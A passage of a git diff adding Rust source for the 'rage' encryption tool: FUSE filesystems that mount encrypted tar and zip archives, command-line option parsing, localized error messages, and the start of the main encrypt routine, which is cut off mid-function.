+use std::sync::{mpsc, Mutex}; +use std::time::{Duration, SystemTime}; + +use tar::{Archive, Entry, EntryType}; + +fn tar_path(path: &Path) -> &Path { + path.strip_prefix("/").unwrap() +} + +fn tar_to_filetype(entry: &Entry) -> Option { + // Only map filetypes we support + match entry.header().entry_type() { + EntryType::Regular => Some(FileType::RegularFile), + EntryType::Directory => Some(FileType::Directory), + EntryType::Continuous => Some(FileType::RegularFile), + EntryType::GNULongName => Some(FileType::RegularFile), + _ => None, + } +} + +fn tar_to_fuse(entry: &Entry) -> io::Result { + let kind = tar_to_filetype(entry) + .ok_or_else(|| io::Error::new(io::ErrorKind::Other, "Unsupported filetype"))?; + let perm = (entry.header().mode()? & 0o7777) as u16; + + let mtime = SystemTime::UNIX_EPOCH + Duration::new(entry.header().mtime()? as u64, 0); + let ctime = if let Some(header) = entry.header().as_gnu() { + header + .ctime() + .map(|ctime| SystemTime::UNIX_EPOCH + Duration::new(ctime as u64, 0)) + .unwrap_or(mtime) + } else { + mtime + }; + let atime = if let Some(header) = entry.header().as_gnu() { + header + .atime() + .map(|atime| SystemTime::UNIX_EPOCH + Duration::new(atime as u64, 0)) + .unwrap_or(mtime) + } else { + mtime + }; + + Ok(FileAttr { + size: entry.header().size()?, + blocks: 1, + atime, + mtime, + ctime, + crtime: SystemTime::UNIX_EPOCH, + kind, + perm, + nlink: 1, + uid: entry.header().uid()? as u32, + gid: entry.header().gid()? as u32, + rdev: 0, + flags: 0, + }) +} + +const ROOT_ATTR: FileAttr = FileAttr { + size: 0, + blocks: 0, + atime: SystemTime::UNIX_EPOCH, + mtime: SystemTime::UNIX_EPOCH, + ctime: SystemTime::UNIX_EPOCH, + crtime: SystemTime::UNIX_EPOCH, + kind: FileType::Directory, + perm: 0o0755, + nlink: 1, + uid: 1000, + gid: 1000, + rdev: 0, + flags: 0, +}; + +fn add_to_dir_map( + dir_map: &mut HashMap>, + path: &Path, + kind: FileType, +) { + let name = path + .file_name() + .expect("All files in tarballs have names") + .to_owned(); + + let parent = path + .parent() + .expect("paths should have parents") + .to_path_buf(); + + // tar files are listed in-order, so the parent has already been added. + dir_map + .entry(parent) + .or_default() + .push(DirectoryEntry { name, kind }); +} + +type OpenFile = (PathBuf, u64, u64); + +pub struct AgeTarFs { + inner: Mutex>>>, + destroy_tx: mpsc::SyncSender<()>, + dir_map: HashMap>, + file_map: HashMap, + open_dirs: Mutex<(HashMap, u64)>, + open_files: Mutex<(HashMap, u64)>, +} + +impl AgeTarFs { + pub fn open( + stream: StreamReader>>, + destroy_tx: mpsc::SyncSender<()>, + ) -> io::Result { + // Build a directory listing for the archive + let mut dir_map: HashMap> = HashMap::new(); + dir_map.insert(PathBuf::new(), vec![]); // the root + + // Build a file map for the archive + let mut file_map: HashMap = HashMap::new(); + + let mut archive = Archive::new(stream); + for file in archive.entries().expect("StreamReader is at start") { + let file = file?; + if let Some(filetype) = tar_to_filetype(&file) { + let path = file.path()?; + add_to_dir_map(&mut dir_map, &path, filetype); + file_map.insert( + path.to_path_buf(), + (tar_to_fuse(&file)?, file.raw_file_position()), + ); + } + } + + Ok(AgeTarFs { + inner: Mutex::new(archive.into_inner()), + destroy_tx, + dir_map, + file_map, + open_dirs: Mutex::new((HashMap::new(), 0)), + open_files: Mutex::new((HashMap::new(), 0)), + }) + } +} + +const TTL: Duration = Duration::from_secs(1); + +impl FilesystemMT for AgeTarFs { + fn destroy(&self) { + self.destroy_tx + .send(()) + .expect("Could not send signal on channel."); + } + + fn getattr(&self, _req: RequestInfo, path: &Path, fh: Option) -> ResultEntry { + let open_dirs = self.open_dirs.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + if let Some(fh) = fh { + if let Some((attr, _)) = open_dirs + .0 + .get(&fh) + .and_then(|path| self.file_map.get(path)) + { + Ok((TTL, *attr)) + } else if let Some((attr, _)) = open_files + .0 + .get(&fh) + .and_then(|(path, _, _)| self.file_map.get(path)) + { + Ok((TTL, *attr)) + } else { + Err(libc::EBADF) + } + } else { + let path = tar_path(path); + if path.parent().is_none() { + Ok((TTL, ROOT_ATTR)) + } else if let Some((attr, _)) = self.file_map.get(path) { + Ok((TTL, *attr)) + } else { + Err(libc::ENOENT) + } + } + } + + fn opendir(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + let fh = open_dirs.1; + let path = tar_path(path); + + open_dirs.0.insert(fh, path.to_path_buf()); + open_dirs.1 = open_dirs.1.wrapping_add(1); + + Ok((fh, 0)) + } + + fn readdir(&self, _req: RequestInfo, _path: &Path, fh: u64) -> ResultReaddir { + let open_dirs = self.open_dirs.lock().unwrap(); + + if let Some(path) = open_dirs.0.get(&fh) { + Ok(self.dir_map.get(path).cloned().unwrap_or_default()) + } else { + Err(libc::EBADF) + } + } + + fn releasedir(&self, _req: RequestInfo, _path: &Path, fh: u64, _flags: u32) -> ResultEmpty { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + open_dirs.0.remove(&fh).map(|_| ()).ok_or(libc::EBADF) + } + + fn statfs(&self, _req: RequestInfo, _path: &Path) -> ResultStatfs { + Ok(Statfs { + blocks: self.file_map.len() as u64, + bfree: 0, + bavail: 0, + files: self.file_map.len() as u64, + ffree: 0, + bsize: 64 * 1024, + namelen: u32::max_value(), + frsize: 64 * 1024, + }) + } + + fn open(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut open_files = self.open_files.lock().unwrap(); + + if let Some((attr, pos)) = self.file_map.get(tar_path(path)) { + let fh = open_files.1; + open_files + .0 + .insert(fh, (path.to_path_buf(), *pos, attr.size)); + open_files.1 = open_files.1.wrapping_add(1); + Ok((fh, 0)) + } else { + Err(libc::ENOENT) + } + } + + fn read( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + offset: u64, + size: u32, + callback: impl FnOnce(ResultSlice<'_>) -> CallbackResult, + ) -> CallbackResult { + let mut inner = self.inner.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + if let Some((_, pos, file_size)) = open_files.0.get(&fh) { + if offset > *file_size { + return callback(Err(libc::EINVAL)); + } + + // Skip to offset + if inner.seek(SeekFrom::Start(pos + offset)).is_err() { + return callback(Err(libc::EIO)); + } + + // Read bytes + let to_read = usize::min(size as usize, (file_size - offset) as usize); + let mut buf = vec![]; + buf.resize(to_read, 0); + match inner.read_exact(&mut buf) { + Ok(_) => callback(Ok(&buf)), + Err(_) => callback(Err(libc::EIO)), + } + } else { + callback(Err(libc::EBADF)) + } + } + + fn release( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + _flags: u32, + _lock_owner: u64, + _flush: bool, + ) -> ResultEmpty { + let mut open_files = self.open_files.lock().unwrap(); + + open_files.0.remove(&fh).map(|_| ()).ok_or(libc::EBADF) + } +} diff --git a/lib/rage/rage/src/bin/rage-mount/zip.rs b/lib/rage/rage/src/bin/rage-mount/zip.rs new file mode 100644 index 0000000..30b7e24 --- /dev/null +++ b/lib/rage/rage/src/bin/rage-mount/zip.rs @@ -0,0 +1,267 @@ +use age::{armor::ArmoredReader, stream::StreamReader}; +use fuse_mt::*; +use std::collections::HashMap; +use std::fs::File; +use std::io::{self, BufReader, Read}; +use std::path::{Path, PathBuf}; +use std::sync::{mpsc, Mutex}; +use std::time::{Duration, SystemTime}; +use zip::{read::ZipFile, ZipArchive}; + +fn zip_path(path: &Path) -> &Path { + path.strip_prefix("/").unwrap() +} + +fn zipfile_to_filetype(zf: &ZipFile) -> FileType { + if zf.is_dir() { + FileType::Directory + } else { + FileType::RegularFile + } +} + +fn zipfile_to_fuse(zf: &ZipFile) -> FileAttr { + let kind = zipfile_to_filetype(zf); + let perm = (zf.unix_mode().unwrap_or(0) & 0o7777) as u16; + let mtime: SystemTime = zf.last_modified().to_time().unwrap().into(); + + FileAttr { + size: zf.size() as u64, + blocks: 1, + atime: mtime, + mtime, + ctime: mtime, + crtime: SystemTime::UNIX_EPOCH, + kind, + perm, + nlink: 1, + uid: 1000, + gid: 1000, + rdev: 0, + flags: 0, + } +} + +const DIR_ATTR: FileAttr = FileAttr { + size: 0, + blocks: 0, + atime: SystemTime::UNIX_EPOCH, + mtime: SystemTime::UNIX_EPOCH, + ctime: SystemTime::UNIX_EPOCH, + crtime: SystemTime::UNIX_EPOCH, + kind: FileType::Directory, + perm: 0o0755, + nlink: 1, + uid: 1000, + gid: 1000, + rdev: 0, + flags: 0, +}; + +fn add_dir_to_map( + dir_map: &mut HashMap>, + path: &Path, + kind: FileType, +) { + let name = path + .file_name() + .expect("All ZIP files have filenames") + .to_owned(); + + let parent = path + .parent() + .expect("paths should have parents") + .to_path_buf(); + + if !dir_map.contains_key(&parent) { + add_dir_to_map(dir_map, &parent, FileType::Directory); + } + + dir_map + .entry(parent) + .or_default() + .push(DirectoryEntry { name, kind }); +} + +pub struct AgeZipFs { + inner: Mutex>>>>, + destroy_tx: mpsc::SyncSender<()>, + dir_map: HashMap>, + open_dirs: Mutex<(HashMap, u64)>, + open_files: Mutex<(HashMap, u64)>, +} + +impl AgeZipFs { + pub fn open( + stream: StreamReader>>, + destroy_tx: mpsc::SyncSender<()>, + ) -> io::Result { + let mut archive = + ZipArchive::new(stream).map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; + + // Build a directory listing for the archive + let mut dir_map: HashMap> = HashMap::new(); + dir_map.insert(PathBuf::new(), vec![]); // the root + for i in 0..archive.len() { + let zf = archive + .by_index(i) + .map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; + if let Some(path) = zf.enclosed_name() { + add_dir_to_map(&mut dir_map, path, zipfile_to_filetype(&zf)); + } + } + + Ok(AgeZipFs { + inner: Mutex::new(archive), + destroy_tx, + dir_map, + open_dirs: Mutex::new((HashMap::new(), 0)), + open_files: Mutex::new((HashMap::new(), 0)), + }) + } +} + +const TTL: Duration = Duration::from_secs(1); + +impl FilesystemMT for AgeZipFs { + fn destroy(&self) { + self.destroy_tx + .send(()) + .expect("Could not send signal on channel."); + } + + fn getattr(&self, _req: RequestInfo, path: &Path, fh: Option) -> ResultEntry { + let mut inner = self.inner.lock().unwrap(); + let open_dirs = self.open_dirs.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + if let Some(fh) = fh { + if open_dirs.0.contains_key(&fh) { + Ok((TTL, DIR_ATTR)) + } else if let Some(index) = open_files.0.get(&fh) { + let zf = inner.by_index(*index).expect("open_files is correct"); + Ok((TTL, zipfile_to_fuse(&zf))) + } else { + Err(libc::EBADF) + } + } else if self.dir_map.contains_key(zip_path(path)) { + Ok((TTL, DIR_ATTR)) + } else { + match inner.by_name(zip_path(path).to_str().unwrap()) { + Ok(zf) => Ok((TTL, zipfile_to_fuse(&zf))), + Err(_) => Err(libc::ENOENT), + } + } + } + + fn opendir(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + let fh = open_dirs.1; + let path = zip_path(path); + + open_dirs.0.insert(fh, path.to_path_buf()); + open_dirs.1 = open_dirs.1.wrapping_add(1); + + Ok((fh, 0)) + } + + fn readdir(&self, _req: RequestInfo, _path: &Path, fh: u64) -> ResultReaddir { + let open_dirs = self.open_dirs.lock().unwrap(); + + if let Some(path) = open_dirs.0.get(&fh) { + Ok(self.dir_map.get(path).cloned().unwrap_or_default()) + } else { + Err(libc::EBADF) + } + } + + fn releasedir(&self, _req: RequestInfo, _path: &Path, fh: u64, _flags: u32) -> ResultEmpty { + let mut open_dirs = self.open_dirs.lock().unwrap(); + + open_dirs.0.remove(&fh).map(|_| ()).ok_or(libc::EBADF) + } + + fn statfs(&self, _req: RequestInfo, _path: &Path) -> ResultStatfs { + let inner = self.inner.lock().unwrap(); + + Ok(Statfs { + blocks: inner.len() as u64, + bfree: 0, + bavail: 0, + files: inner.len() as u64, + ffree: 0, + bsize: 64 * 1024, + namelen: u32::max_value(), + frsize: 64 * 1024, + }) + } + + fn open(&self, _req: RequestInfo, path: &Path, _flags: u32) -> ResultOpen { + let mut inner = self.inner.lock().unwrap(); + let mut open_files = self.open_files.lock().unwrap(); + + for i in 0..inner.len() { + if inner.by_index(i).unwrap().enclosed_name() == Some(zip_path(path)) { + let fh = open_files.1; + open_files.0.insert(fh, i); + open_files.1 = open_files.1.wrapping_add(1); + return Ok((fh, 0)); + } + } + + Err(libc::ENOENT) + } + + fn read( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + offset: u64, + size: u32, + callback: impl FnOnce(ResultSlice<'_>) -> CallbackResult, + ) -> CallbackResult { + let mut inner = self.inner.lock().unwrap(); + let open_files = self.open_files.lock().unwrap(); + + match open_files.0.get(&fh) { + Some(index) => { + let mut zf = inner.by_index(*index).expect("open_files is correct"); + if offset > zf.size() { + return callback(Err(libc::EINVAL)); + } + + // Skip to offset + let mut buf = vec![]; + buf.resize(offset as usize, 0); + if zf.read_exact(&mut buf).is_err() { + return callback(Err(libc::EIO)); + } + + // Read bytes + let to_read = usize::min(size as usize, (zf.size() - offset) as usize); + buf.resize(to_read, 0); + match zf.read_exact(&mut buf) { + Ok(_) => callback(Ok(&buf)), + Err(_) => callback(Err(libc::EIO)), + } + } + None => callback(Err(libc::EBADF)), + } + } + + fn release( + &self, + _req: RequestInfo, + _path: &Path, + fh: u64, + _flags: u32, + _lock_owner: u64, + _flush: bool, + ) -> ResultEmpty { + let mut open_files = self.open_files.lock().unwrap(); + + open_files.0.remove(&fh).map(|_| ()).ok_or(libc::EBADF) + } +} diff --git a/lib/rage/rage/src/bin/rage/cli.rs b/lib/rage/rage/src/bin/rage/cli.rs new file mode 100644 index 0000000..1084ce5 --- /dev/null +++ b/lib/rage/rage/src/bin/rage/cli.rs @@ -0,0 +1,163 @@ +use std::path::Path; + +use clap::{ + builder::{Styles, ValueHint}, + ArgAction, Parser, +}; + +use crate::fl; + +fn binary_name(suffix: Option<&str>) -> String { + if let Some(arg) = std::env::args_os().next() { + let path = Path::new(&arg); + if let Some(suffix) = suffix { + let stem = path + .file_stem() + .expect("is not directory") + .to_string_lossy(); + let extension = path + .extension() + .map(|extension| format!(".{}", extension.to_string_lossy())) + .unwrap_or_default(); + format!("{}{}{}", stem, suffix, extension) + } else { + path.file_name() + .expect("is not directory") + .to_string_lossy() + .to_string() + } + } else { + format!("rage{}", suffix.unwrap_or_default()) + } +} + +fn usage() -> String { + let binary_name = binary_name(None); + let recipient = fl!("recipient"); + let recipients_file = fl!("recipients-file"); + let identity = fl!("identity"); + let input = fl!("input"); + let output = fl!("output"); + + format!( + "{binary_name} [--encrypt] (-r {recipient} | -R {recipients_file})... [-i {identity}] [-a] [-o {output}] [{input}]\n \ + {binary_name} [--encrypt] --passphrase [-a] [-o {output}] [{input}]\n \ + {binary_name} --decrypt [-i {identity}] [-o {output}] [{input}]", + ) +} + +pub(crate) fn after_help_content(keygen_name: &str) -> String { + fl!( + "rage-after-help-content", + keygen_name = keygen_name, + example_age_pubkey = "\"age1...\"", + example_ssh_pubkey = "\"ssh-ed25519 AAAA...\", \"ssh-rsa AAAA...\"", + ) +} + +fn after_help() -> String { + let keygen_name = binary_name(Some("-keygen")); + let binary_name = binary_name(None); + let example_a = format!("$ {} -o key.txt", keygen_name); + let example_a_output = "age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p"; + let example_b = format!( + "$ tar cvz ~/data | {} -r {} > data.tar.gz.age", + binary_name, example_a_output, + ); + let example_c = format!( + "$ {} -d -i key.txt -o data.tar.gz data.tar.gz.age", + binary_name, + ); + + format!( + "{}\n\n{}", + after_help_content(&keygen_name), + fl!( + "rage-after-help-example", + example_a = example_a, + example_a_output = example_a_output, + example_b = example_b, + example_c = example_c, + ), + ) +} + +#[derive(Debug, Parser)] +#[command(author, version)] +#[command(help_template = format!("\ +{{before-help}}{{about-with-newline}} +{}{}:{} {{usage}} + +{{all-args}}{{after-help}}\ + ", + Styles::default().get_usage().render(), + fl!("usage-header"), + Styles::default().get_usage().render_reset()))] +#[command(override_usage(usage()))] +#[command(next_help_heading = fl!("flags-header"))] +#[command(disable_help_flag(true))] +#[command(disable_version_flag(true))] +#[command(after_help(after_help()))] +pub(crate) struct AgeOptions { + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("input"))] + #[arg(help = fl!("help-arg-input"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) input: Option, + + #[arg(action = ArgAction::Help, short, long)] + #[arg(help = fl!("help-flag-help"))] + pub(crate) help: Option, + + #[arg(action = ArgAction::Version, short = 'V', long)] + #[arg(help = fl!("help-flag-version"))] + pub(crate) version: Option, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-encrypt"))] + pub(crate) encrypt: bool, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-decrypt"))] + pub(crate) decrypt: bool, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-passphrase"))] + pub(crate) passphrase: bool, + + #[arg(long, value_name = "WF")] + #[arg(help = fl!("help-flag-max-work-factor"))] + pub(crate) max_work_factor: Option, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-armor"))] + pub(crate) armor: bool, + + #[arg(short, long)] + #[arg(value_name = fl!("recipient"))] + #[arg(help = fl!("help-flag-recipient"))] + pub(crate) recipient: Vec, + + #[arg(short = 'R', long)] + #[arg(value_name = fl!("recipients-file"))] + #[arg(help = fl!("help-flag-recipients-file"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) recipients_file: Vec, + + #[arg(short, long)] + #[arg(value_name = fl!("identity"))] + #[arg(help = fl!("help-flag-identity"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) identity: Vec, + + #[arg(short = 'j')] + #[arg(value_name = fl!("plugin-name"))] + #[arg(help = fl!("help-flag-plugin-name"))] + pub(crate) plugin_name: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("output"))] + #[arg(help = fl!("help-flag-output"))] + #[arg(value_hint = ValueHint::AnyPath)] + pub(crate) output: Option, +} diff --git a/lib/rage/rage/src/bin/rage/error.rs b/lib/rage/rage/src/bin/rage/error.rs new file mode 100644 index 0000000..7ac82e9 --- /dev/null +++ b/lib/rage/rage/src/bin/rage/error.rs @@ -0,0 +1,242 @@ +use std::fmt; +use std::io; + +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + write!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +pub(crate) enum EncryptError { + Age(age::EncryptError), + BrokenPipe { + is_stdout: bool, + source: io::Error, + }, + IdentityRead(age::cli_common::ReadError), + Io(io::Error), + MixedIdentityAndPassphrase, + MixedRecipientAndPassphrase, + MixedRecipientsFileAndPassphrase, + PassphraseTimedOut, + #[cfg(not(unix))] + PassphraseWithoutFileArgument, + PluginNameFlag, +} + +impl From for EncryptError { + fn from(e: age::EncryptError) -> Self { + match e { + age::EncryptError::Io(e) => EncryptError::Io(e), + _ => EncryptError::Age(e), + } + } +} + +impl From for EncryptError { + fn from(e: age::cli_common::ReadError) -> Self { + EncryptError::IdentityRead(e) + } +} + +impl From for EncryptError { + fn from(e: io::Error) -> Self { + EncryptError::Io(e) + } +} + +impl fmt::Display for EncryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + EncryptError::Age(e @ age::EncryptError::MissingRecipients) => { + writeln!(f, "{}", e)?; + wfl!(f, "rec-enc-missing-recipients") + } + EncryptError::Age(e) => write!(f, "{}", e), + EncryptError::BrokenPipe { is_stdout, source } => { + if *is_stdout { + wlnfl!(f, "err-enc-broken-stdout", err = source.to_string())?; + wfl!(f, "rec-enc-broken-stdout") + } else { + wfl!(f, "err-enc-broken-file", err = source.to_string()) + } + } + EncryptError::IdentityRead(e) => write!(f, "{}", e), + EncryptError::Io(e) => write!(f, "{}", e), + EncryptError::MixedIdentityAndPassphrase => { + wfl!(f, "err-enc-mixed-identity-passphrase") + } + EncryptError::MixedRecipientAndPassphrase => { + wfl!(f, "err-enc-mixed-recipient-passphrase") + } + EncryptError::MixedRecipientsFileAndPassphrase => { + wfl!(f, "err-enc-mixed-recipients-file-passphrase") + } + EncryptError::PassphraseTimedOut => wfl!(f, "err-passphrase-timed-out"), + #[cfg(not(unix))] + EncryptError::PassphraseWithoutFileArgument => { + wfl!(f, "err-enc-passphrase-without-file") + } + EncryptError::PluginNameFlag => { + wfl!(f, "err-enc-plugin-name-flag") + } + } + } +} + +#[derive(Debug)] +pub(crate) struct DetectedPowerShellCorruptionError; + +impl fmt::Display for DetectedPowerShellCorruptionError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + wlnfl!(f, "err-detected-powershell-corruption")?; + wfl!(f, "rec-detected-powershell-corruption") + } +} + +impl std::error::Error for DetectedPowerShellCorruptionError {} + +pub(crate) enum DecryptError { + Age(age::DecryptError), + ArmorFlag, + IdentityRead(age::cli_common::ReadError), + Io(io::Error), + MissingIdentities { + stdin_identity: bool, + }, + MixedIdentityAndPassphrase, + MixedIdentityAndPluginName, + PassphraseFlag, + PassphraseTimedOut, + #[cfg(not(unix))] + PassphraseWithoutFileArgument, + RecipientFlag, + RecipientsFileFlag, +} + +impl From for DecryptError { + fn from(e: age::DecryptError) -> Self { + DecryptError::Age(e) + } +} + +impl From for DecryptError { + fn from(e: age::cli_common::ReadError) -> Self { + DecryptError::IdentityRead(e) + } +} + +impl From for DecryptError { + fn from(e: io::Error) -> Self { + DecryptError::Io(e) + } +} + +impl fmt::Display for DecryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + DecryptError::Age(e) => match e { + age::DecryptError::ExcessiveWork { required, .. } => { + writeln!(f, "{}", e)?; + wfl!(f, "rec-dec-excessive-work", wf = required) + } + _ => write!(f, "{}", e), + }, + DecryptError::ArmorFlag => { + wlnfl!(f, "err-dec-armor-flag")?; + wfl!(f, "rec-dec-armor-flag") + } + DecryptError::IdentityRead(e) => write!(f, "{}", e), + DecryptError::Io(e) => write!(f, "{}", e), + DecryptError::MissingIdentities { stdin_identity } => { + wlnfl!(f, "err-dec-missing-identities")?; + if *stdin_identity { + wfl!(f, "rec-dec-missing-identities-stdin") + } else { + wfl!(f, "rec-dec-missing-identities") + } + } + DecryptError::MixedIdentityAndPassphrase => { + wfl!(f, "err-dec-mixed-identity-passphrase") + } + DecryptError::MixedIdentityAndPluginName => { + wfl!(f, "err-mixed-identity-and-plugin-name") + } + DecryptError::PassphraseFlag => { + wlnfl!(f, "err-dec-passphrase-flag")?; + wfl!(f, "rec-dec-passphrase-flag") + } + DecryptError::PassphraseTimedOut => wfl!(f, "err-passphrase-timed-out"), + #[cfg(not(unix))] + DecryptError::PassphraseWithoutFileArgument => { + wfl!(f, "err-dec-passphrase-without-file-win") + } + DecryptError::RecipientFlag => { + wlnfl!(f, "err-dec-recipient-flag")?; + wfl!(f, "rec-dec-recipient-flag") + } + DecryptError::RecipientsFileFlag => { + wlnfl!(f, "err-dec-recipients-file-flag")?; + wfl!(f, "rec-dec-recipient-flag") + } + } + } +} + +pub(crate) enum Error { + Decryption(DecryptError), + Encryption(EncryptError), + IdentityFlagAmbiguous, + MixedEncryptAndDecrypt, + SameInputAndOutput(String), +} + +impl From for Error { + fn from(e: DecryptError) -> Self { + Error::Decryption(e) + } +} + +impl From for Error { + fn from(e: EncryptError) -> Self { + Error::Encryption(e) + } +} + +// Rust only supports `fn main() -> Result<(), E: Debug>`, so we implement `Debug` +// manually to provide the error output we want. +impl fmt::Debug for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::Decryption(e) => writeln!(f, "{}", e)?, + Error::Encryption(e) => writeln!(f, "{}", e)?, + Error::IdentityFlagAmbiguous => wlnfl!(f, "err-identity-ambiguous")?, + Error::MixedEncryptAndDecrypt => wlnfl!(f, "err-mixed-encrypt-decrypt")?, + Error::SameInputAndOutput(filename) => { + wlnfl!(f, "err-same-input-and-output", filename = filename.as_str())? + } + } + writeln!(f)?; + writeln!(f, "[ {} ]", crate::fl!("err-ux-A"))?; + write!( + f, + "[ {}: https://str4d.xyz/rage/report {} ]", + crate::fl!("err-ux-B"), + crate::fl!("err-ux-C") + ) + } +} diff --git a/lib/rage/rage/src/bin/rage/i18n.rs b/lib/rage/rage/src/bin/rage/i18n.rs new file mode 100644 index 0000000..acd305a --- /dev/null +++ b/lib/rage/rage/src/bin/rage/i18n.rs @@ -0,0 +1,31 @@ +use i18n_embed::{ + fluent::{fluent_language_loader, FluentLanguageLoader}, + unic_langid::LanguageIdentifier, +}; +use lazy_static::lazy_static; +use rust_embed::RustEmbed; + +#[derive(RustEmbed)] +#[folder = "i18n"] +struct Localizations; + +lazy_static! { + pub(crate) static ref LANGUAGE_LOADER: FluentLanguageLoader = fluent_language_loader!(); +} + +/// Selects the most suitable available language in order of preference by +/// `requested_languages`, and loads it using the `rage` [`static@LANGUAGE_LOADER`] from the +/// languages available in `rage/i18n/`. +/// +/// Returns the available languages that were negotiated as being the most suitable to be +/// selected, and were loaded by [`i18n_embed::select`]. +pub(crate) fn load_languages( + requested_languages: &[LanguageIdentifier], +) -> Vec { + let supported_languages = + i18n_embed::select(&*LANGUAGE_LOADER, &Localizations, requested_languages).unwrap(); + // Unfortunately the common Windows terminals don't support Unicode Directionality + // Isolation Marks, so we disable them for now. + LANGUAGE_LOADER.set_use_isolating(false); + supported_languages +} diff --git a/lib/rage/rage/src/bin/rage/main.rs b/lib/rage/rage/src/bin/rage/main.rs new file mode 100644 index 0000000..a0e5231 --- /dev/null +++ b/lib/rage/rage/src/bin/rage/main.rs @@ -0,0 +1,421 @@ +#![forbid(unsafe_code)] + +use age::{ + armor::{ArmoredReader, ArmoredWriter, Format}, + cli_common::{ + file_io, read_identities, read_or_generate_passphrase, read_recipients, read_secret, + Passphrase, StdinGuard, UiCallbacks, + }, + plugin, scrypt, + secrecy::ExposeSecret, + Identity, +}; +use clap::{CommandFactory, Parser}; +use i18n_embed::DesktopLanguageRequester; + +use std::io; +use std::path::Path; + +mod cli; +use cli::AgeOptions; + +mod error; + +mod i18n; + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +macro_rules! warning { + ($warning_id:literal) => {{ + eprintln!("{}", fl!("warning-msg", warning = fl!($warning_id))); + }}; +} + +fn set_up_io( + input: Option, + output: Option, + output_format: file_io::OutputFormat, +) -> io::Result<(file_io::InputReader, file_io::OutputWriter)> { + let input = file_io::InputReader::new(input)?; + + // Create an output to the user-requested location. + let output = + file_io::OutputWriter::new(output, true, output_format, 0o666, input.is_terminal())?; + + Ok((input, output)) +} + +type ReadCheckerMatchCase = (&'static [u8], Box io::Result<()>>); +type ReadCheckerMatcher = Option<(&'static [u8], usize, Box io::Result<()>>)>; + +/// A wrapper around a reader that checks it for various prefixes. +struct ReadChecker { + inner: R, + matches: [ReadCheckerMatcher; N], +} + +impl ReadChecker { + fn new(inner: R, matches: [ReadCheckerMatchCase; N]) -> Self { + Self { + inner, + matches: matches.map(|(prefix, on_match)| Some((prefix, 0, on_match))), + } + } +} + +impl io::Read for ReadChecker { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + let read = self.inner.read(buf)?; + let data = &buf[..read]; + + for matcher in &mut self.matches { + if let Some((prefix, start, on_match)) = matcher.take() { + let to_check = &prefix[start..]; + if to_check.len() > data.len() { + // We haven't read enough data to verify a full match; check for a + // partial match, and update the matched counter so we keep checking. + if to_check.starts_with(data) { + *matcher = Some((prefix, start + data.len(), on_match)); + } + } else if data.starts_with(to_check) { + on_match()?; + // Don't set matched so we stop checking. + } + } + } + + Ok(read) + } +} + +fn encrypt(opts: AgeOptions) -> Result<(), error::EncryptError> { + if opts.plugin_name.is_some() { + return Err(error::EncryptError::PluginNameFlag); + } + + let (format, output_format) = if opts.armor { + (Format::AsciiArmor, file_io::OutputFormat::Text) + } else { + (Format::Binary, file_io::OutputFormat::Binary) + }; + + #[cfg(not(unix))] + let has_file_argument = opts.input.is_some(); + + let (input, output) = set_up_io(opts.input, opts.output, output_format)?; + + let is_stdin = match input { + file_io::InputReader::File(_) => false, + file_io::InputReader::Stdin(_) => true, + }; + let mut stdin_guard = StdinGuard::new(is_stdin); + + let is_stdout = match output { + file_io::OutputWriter::File(..) => false, + file_io::OutputWriter::Stdout(..) => true, + }; + + let encryptor = if opts.passphrase { + if !opts.identity.is_empty() { + return Err(error::EncryptError::MixedIdentityAndPassphrase); + } + if !opts.recipient.is_empty() { + return Err(error::EncryptError::MixedRecipientAndPassphrase); + } + if !opts.recipients_file.is_empty() { + return Err(error::EncryptError::MixedRecipientsFileAndPassphrase); + } + + // The `rpassword` crate opens `/dev/tty` directly on Unix, so we don't have + // any conflict with stdin. + #[cfg(not(unix))] + { + if !has_file_argument { + return Err(error::EncryptError::PassphraseWithoutFileArgument); + } + } + + match read_or_generate_passphrase() { + Ok(Passphrase::Typed(passphrase)) => age::Encryptor::with_user_passphrase(passphrase), + Ok(Passphrase::Generated(new_passphrase)) => { + eprintln!("{}", fl!("autogenerated-passphrase")); + eprintln!(" {}", new_passphrase.expose_secret()); + 